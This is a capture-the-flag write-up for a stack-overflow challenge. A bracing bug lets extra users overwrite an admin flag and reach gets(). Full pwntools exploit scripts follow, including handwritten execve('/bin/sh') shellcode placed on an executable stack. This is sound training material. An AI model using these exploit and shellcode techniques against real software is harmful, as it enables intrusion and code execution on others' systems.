#shellcode # Understanding the Challenge Source was given and the compiler options as well ## Compiler Options `gcc vuln.c -fno-stack-protector -no-pie -z execstack -o vuln` - No canary (stack protector) - No PIE (we know binary base) - Executable Stack (Stack is RWX) ## Source ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> //gcc vuln.c -fno-stack-protector -no-pie -z execstack -o vuln #define MAX_USERS 5 struct user { char username[16]; char password[16]; }; void server() { int choice; char buf[0x10]; struct user User[MAX_USERS]; int num_users = 0; int is_admin = 0; char server_name[0x20] = "my_cool_server!"; while(1) { puts("+=========:[ Menu ]:========+"); puts("| [1] Create Account |"); puts("| [2] View User List |"); puts("| [3] Change Server Name |"); puts("| [4] Log out |"); puts("+===========================+"); printf("\n > "); if (fgets(buf, sizeof(buf), stdin) == NULL) { exit(-1); } choice = atoi(buf); switch(choice) { case 1: if (num_users > 5) puts("The server is at its user limit."); else printf("Enter the username:\n > "); fgets(User[num_users].username,15,stdin); printf("Enter the password:\n > "); fgets(User[num_users].password,15,stdin); puts("User successfully created!\n"); num_users++; break; case 2: if (num_users == 0) puts("There are no users on this server yet.\n"); for (int i = 0; i < num_users; i++) { printf("%d: %s",i+1, User[i].username); } break; case 3: if (!is_admin) { puts("You do not have administrative rights. Please refrain from such actions.\n"); break; } else printf("The server name is stored at %p\n",server_name); printf("Enter new server name.\n > "); gets(server_name); break; case 4: puts("Goodbye!"); return; } } } void main() { puts("Welcome to this awesome server!"); puts("I hired a professional to make sure its security is top notch."); puts("Have fun!\n"); server(); } ``` ## Decompilation Not showing the full binary but interestingly, `case 3` is optimized: ```python ... if (option s<= 4) if (option == 3) puts(str: "You do not have administrative rights. Please refrain from such actions.\n") else if (option s<= 3) void var_c8 ... ``` The decompilation does not show the `gets` function call. This is because theoretically we never touch the `is_admin` variable so it is always 0. After some retyping and renaming, we have ```python int64_t server() char server_name[0x20] {Frame offset -e8} struct user users[0x5] {Frame offset -c8} char buf[0x10] {Frame offset -28} int32_t is_admin {Frame offset -14} int32_t i {Frame offset -10} int32_t num_users {Frame offset -c} int32_t choice {Register rax} int32_t num_users = 0 int32_t is_admin = 0 char server_name[0x20] server_name[0].q = 'my_cool_' server_name[8].q = 'server!' server_name[0x10].q = 0 server_name[0x18].q = 0 while (true) puts(str: "+=========:[ Menu ]:========+") puts(str: "| [1] Create Account\t |") puts(str: "| [2] View User List \t |") puts(str: "| [3] Change Server Name |") puts(str: "| [4] Log out\t\t |") puts(str: "+===========================+") printf(format: "\n > ") char buf[0x10] if (fgets(buf: &buf, n: 0x10, fp: stdin) == 0) exit(status: 0xffffffff) noreturn int32_t choice = atoi(nptr: &buf) if (choice == 4) break if (choice s<= 4) if (choice == 3) puts(str: "You do not have administrative rights. Please refrain from such actions.\n") else if (choice s<= 3) struct user users[0x5] if (choice == 1) if (num_users s<= 5) printf(format: "Enter the username:\n > ") else puts(str: "The server is at its user limit.") fgets(buf: &users[sx.q(num_users)], n: 0xf, fp: stdin) printf(format: "Enter the password:\n > ") fgets(buf: (sx.q(num_users) << 5) + 0x10 + &users, n: 0xf, fp: stdin) puts(str: "User successfully created!\n") num_users = num_users + 1 else if (choice == 2) if (num_users == 0) puts(str: "There are no users on this server yet.\n") for (int32_t i = 0; i s< num_users; i = i + 1) printf(format: "%d: %s", zx.q(i + 1), &users[sx.q(i)]) return puts(str: "Goodbye!") ``` However, `choice 3` still does not show the whole source because of the optimizations. We can use [User-Informed Dataflow](https://binary.ninja/2020/09/10/user-informed-dataflow.html) to set `is_admin` to something `UndeterminedValue` in MLIL: ![[Pasted image 20210720130843.png]] Now the HLIL looks better: ```python int64_t server() char server_name[0x20] {Frame offset -e8} struct user users[0x5] {Frame offset -c8} char buf[0x10] {Frame offset -28} int32_t is_admin {Frame offset -14} int32_t i {Frame offset -10} int32_t num_users {Frame offset -c} int32_t choice {Register rax} int32_t num_users = 0 int32_t is_admin = 0 char server_name[0x20] server_name[0].q = 'my_cool_' server_name[8].q = 'server!' server_name[0x10].q = 0 server_name[0x18].q = 0 while (true) puts(str: "+=========:[ Menu ]:========+") puts(str: "| [1] Create Account\t |") puts(str: "| [2] View User List \t |") puts(str: "| [3] Change Server Name |") puts(str: "| [4] Log out\t\t |") puts(str: "+===========================+") printf(format: "\n > ") char buf[0x10] if (fgets(buf: &buf, n: 0x10, fp: stdin) == 0) exit(status: 0xffffffff) noreturn int32_t choice = atoi(nptr: &buf) if (choice == 4) break if (choice s<= 4) if (choice == 3) if (is_admin != 0) printf(format: "The server name is stored at %p\n", &server_name) printf(format: "Enter new server name.\n > ") gets(buf: &server_name) else puts(str: "You do not have administrative rights. Please refrain from such actions.\n") else if (choice s<= 3) struct user users[0x5] if (choice == 1) if (num_users s<= 5) printf(format: "Enter the username:\n > ") else puts(str: "The server is at its user limit.") fgets(buf: &users[sx.q(num_users)], n: 0xf, fp: stdin) printf(format: "Enter the password:\n > ") fgets(buf: (sx.q(num_users) << 5) + 0x10 + &users, n: 0xf, fp: stdin) puts(str: "User successfully created!\n") num_users = num_users + 1 else if (choice == 2) if (num_users == 0) puts(str: "There are no users on this server yet.\n") for (int32_t i = 0; i s< num_users; i = i + 1) printf(format: "%d: %s", zx.q(i + 1), &users[sx.q(i)]) return puts(str: "Goodbye!") ``` # The Vuln We can see a `gets` call which is unsafe so we will try to abuse that. However, to even reach the `gets`, we have to make `is_admin` not 0. One piece that may have been overlooked while analyzing the source is the mistake in `case 1` ```c switch(choice) { case 1: if (num_users > 5) puts("The server is at its user limit."); else printf("Enter the username:\n > "); fgets(User[num_users].username,15,stdin); printf("Enter the password:\n > "); fgets(User[num_users].password,15,stdin); puts("User successfully created!\n"); num_users++; break; ``` Its tricky because the indentation looks correct, however the else statements are not scoped betwen `{ }`. Looking at HLIL, it is easier to catch: ```python if (choice == 1) if (num_users s<= 5) printf(format: "Enter the username:\n > ") else puts(str: "The server is at its user limit.") fgets(buf: &users[sx.q(num_users)], n: 0xf, fp: stdin) printf(format: "Enter the password:\n > ") fgets(buf: (sx.q(num_users) << 5) + 0x10 + &users, n: 0xf, fp: stdin) puts(str: "User successfully created!\n") num_users = num_users + 1 ``` The lines after the first `puts` will get executed no matter what. This means we can create more users that the max of 5 Looking back at the stack layout: ```c char server_name[0x20] {Frame offset -e8} struct user users[0x5] {Frame offset -c8} char buf[0x10] {Frame offset -28} int32_t is_admin {Frame offset -14} int32_t i {Frame offset -10} int32_t num_users {Frame offset -c} int32_t choice {Register rax} ``` If we create more users, we can overflow the variable below the `users` variable ## Another Look at the HLIL Knowing we can make more users, we can have binja show us what it would be like if we made another user. Retyping the users variable to `struct user users[0x6]` instead of `struct user users[0x5]` The source then looks like: ```python int64_t server() char server_name[0x20] {Frame offset -e8} struct user users[0x6] {Frame offset -c8} struct user users[0x6] users[5].password[0xc].d = 0 users[5].password[4].d = 0 char server_name[0x20] server_name[0].q = 'my_cool_' server_name[8].q = 'server!' server_name[0x10].q = 0 server_name[0x18].q = 0 while (true) puts(str: "+=========:[ Menu ]:========+") puts(str: "| [1] Create Account\t |") puts(str: "| [2] View User List \t |") puts(str: "| [3] Change Server Name |") puts(str: "| [4] Log out\t\t |") puts(str: "+===========================+") printf(format: "\n > ") if (fgets(buf: &users[5], n: 0x10, fp: stdin) == 0) exit(status: 0xffffffff) noreturn users[5].password[0].d = atoi(nptr: &users[5]) if (users[5].password[0].d == 4) break if (users[5].password[0].d s<= 4) if (users[5].password[0].d == 3) if (users[5].password[4].d != 0) printf(format: "The server name is stored at %p\n", &server_name) printf(format: "Enter new server name.\n > ") gets(buf: &server_name) else puts(str: "You do not have administrative rights. Please refrain from such actions.\n") else if (users[5].password[0].d s<= 3) if (users[5].password[0].d == 1) if (users[5].password[0xc].d s<= 5) printf(format: "Enter the username:\n > ") else puts(str: "The server is at its user limit.") fgets(buf: &users[sx.q(users[5].password[0xc].d)], n: 0xf, fp: stdin) printf(format: "Enter the password:\n > ") fgets(buf: (sx.q(users[5].password[0xc].d) << 5) + 0x10 + &users, n: 0xf, fp: stdin) puts(str: "User successfully created!\n") users[5].password[0xc].d = users[5].password[0xc].d + 1 else if (users[5].password[0].d == 2) if (users[5].password[0xc].d == 0) puts(str: "There are no users on this server yet.\n") users[5].password[8].d = 0 while (users[5].password[8].d s< users[5].password[0xc].d) printf(format: "%d: %s", zx.q(users[5].password[8].d + 1), &users[sx.q(users[5].password[8].d)]) users[5].password[8].d = users[5].password[8].d + 1 return puts(str: "Goodbye!") ``` We can see all the places the 6th user would overwrite. Specifically, the check to reach the gets `users[5].password[4].d != 0`. This means that on the 6th user, the 5th character has to be none 0. Creating a 6th user with a password less then 4 characters (because we use sendline that will add one newline character) will not overwrite the `is_admin` variable. ## Reaching the gets Using the script below, we can overwrite `is_admin` with `gang` and the trigger the `gets` case ```python from pwn import * context.binary = elf = ELF("./vuln") io = elf.process() def create_user(username,password): io.sendline("1") io.sendline(username) io.sendline(password) for _ in range(5): create_user("playoff","rondo") create_user("gang","gang") io.sendline("3") io.interactive() ``` ## The Crash To abuse the gets and control the `saved_rip` we will need to write (0xe8+8) bytes into the `gets` because `server_name` was 0xe8 bytes off the stack frame. The 8 bytes after that will be the new `return address` Sending "4" after will exit us out of the `while` loop and attempt to return to the main function. However, we write `CCCCCCCC` over the return address so the binary should segfault trying to jump to an invalid instruction. ```python from pwn import * context.binary = elf = ELF("./vuln") io = elf.process() gdb.attach(io) def create_user(username,password): io.sendline("1") io.sendline(username) io.sendline(password) for _ in range(5): create_user("playoff","rondo") create_user("gang","gang") io.sendline("3") payload = b"" payload += b"A"*0xe8 payload += b"C"*8 io.sendline(payload) io.sendline("4") io.interactive() ``` Running that script confrims we control `rip`. ![[Pasted image 20210720133406.png]] ## The Leak So now we can control the return address, we can jump any where. Do to the binary having `execstack` we can jump back to our input and run shellcode we place there. Conviently, this binary provides us with a pointer to our input. The following code parse the given stack leak and jumps to the beginning of our input. ```python from pwn import * context.binary = elf = ELF("./vuln") io = elf.process() gdb.attach(io) def create_user(username,password): io.sendline("1") io.sendline(username) io.sendline(password) for _ in range(5): create_user("playoff","rondo") create_user("gang","gang") io.sendline("3") io.readuntil("The server name is stored at ") stack_leak = int(io.readline().strip(),16) payload = b"" payload += b"A"*0xe8 payload += p64(stack_leak) io.sendline(payload) io.sendline("4") io.interactive() ``` And the Result: ![[Pasted image 20210720133803.png]] # The Shellcode Now that we can execute our own instructions, its time to come up with our shellcode. We could pull shellcode off the internet or use shellcraft, but its easy enough to just write our own. We want to call `execve("/bin/sh\x00",0,0)` to spawn a shell. In order to do that we need to: - We need to push the string `/bin/sh\x00` - set `rdi` to a pointer to that string - set `rsi` to 0 - set `rdx` to 0 - set `rax` to 0x3b (execve syscall) - call syscall `rdx` is already 0 at the time we take control ## shellcode ``` push rdx mov rdi,0x68732f2f6e69622f push rdi mov rdi,rsp mov rsi,rdx mov rax, 0x3b syscall ``` # Solve ```python from pwn import * context.binary = elf = ELF("./vuln") io = elf.process() def create_user(username,password): io.sendline("1") io.sendline(username) io.sendline(password) for _ in range(5): create_user("playoff","rondo") create_user("gang","gang") io.sendline("3") io.readuntil("The server name is stored at ") stack_leak = int(io.readline().strip(),16) sc = b"" sc += asm("push rdx") sc += asm("mov rdi,0x68732f2f6e69622f") sc += asm("push rdi") sc += asm("mov rdi,rsp") sc += asm("mov rsi,rdx") sc += asm("mov rax, 0x3b") sc += asm("syscall") payload = b"" payload += sc.ljust(0xe8,b"\x90") payload += p64(stack_leak) io.sendline(payload) io.sendline("4") io.interactive() ``` # Afterthoughts ## First Thought Even if the challenge stopped you from making more users by using brakets around the else statement and the HLIL looked like: ```python if (choice == 1) if (num_users s<= 5) printf(format: "Enter the username:\n > ") else puts(str: "The server is at its user limit.") fgets(buf: &users[sx.q(num_users)], n: 0xf, fp: stdin) printf(format: "Enter the password:\n > ") fgets(buf: (sx.q(num_users) << 5) + 0x10 + &users, n: 0xf, fp: stdin) puts(str: "User successfully created!\n") num_users = num_users + 1 ``` The vuln would still be there since the check is `num_users s<= 5` and not `num_users s< 5` ## Second Thought The binary would still be exploitable in its current state if there was no `gets` call. With the absense of brakets in the else case, you can make enough users on the stack to overwrite `saved_rip`. We saw with 6 users we could overwrite `is_admin`. With 6 users, and each user being 32 bytes, 6 * 32=192. The users array is 200 bytes from the stack frame. 200-192 = 8 We could create a 7th user and the username for that user will corrupt the `rip` The following code solves the challenge that way: ```python from pwn import * import re context.binary = elf = ELF("./vuln") io = elf.process() #gdb.attach(io) def create_user(username,password): io.sendline("1") io.sendline(username) io.sendline(password) sc_1 = b"" sc_1 += asm("mov rdi,0x68732f2f6e69622f") sc_1 += b"\xeb\x04" #jmp +4 sc_2 = asm("""push rdi mov rdi,rsp mov rsi,rdx mov al, 0x3b syscall""") create_user(sc_1,sc_2) for y in range(5): create_user(b"A"*10,b"C"*10) io.sendline("3") io.readuntil("The server name is stored at ") stack_leak = int(io.readline().strip(),16) io.sendline("a") name = b"GGGGGGGG" name += p64(stack_leak+0x20) create_user(name,"0123") io.sendline("4") io.clean() io.interactive() ``` I store the shellcode in the first user struct, however i have to break up the shellcode 14 bytes in username and 14 bytes in password which is why I have a `jmp 4` instruction. Then fill up users so the next user will overwrite `rip` The first user struct is 0x20 bytes off of the leak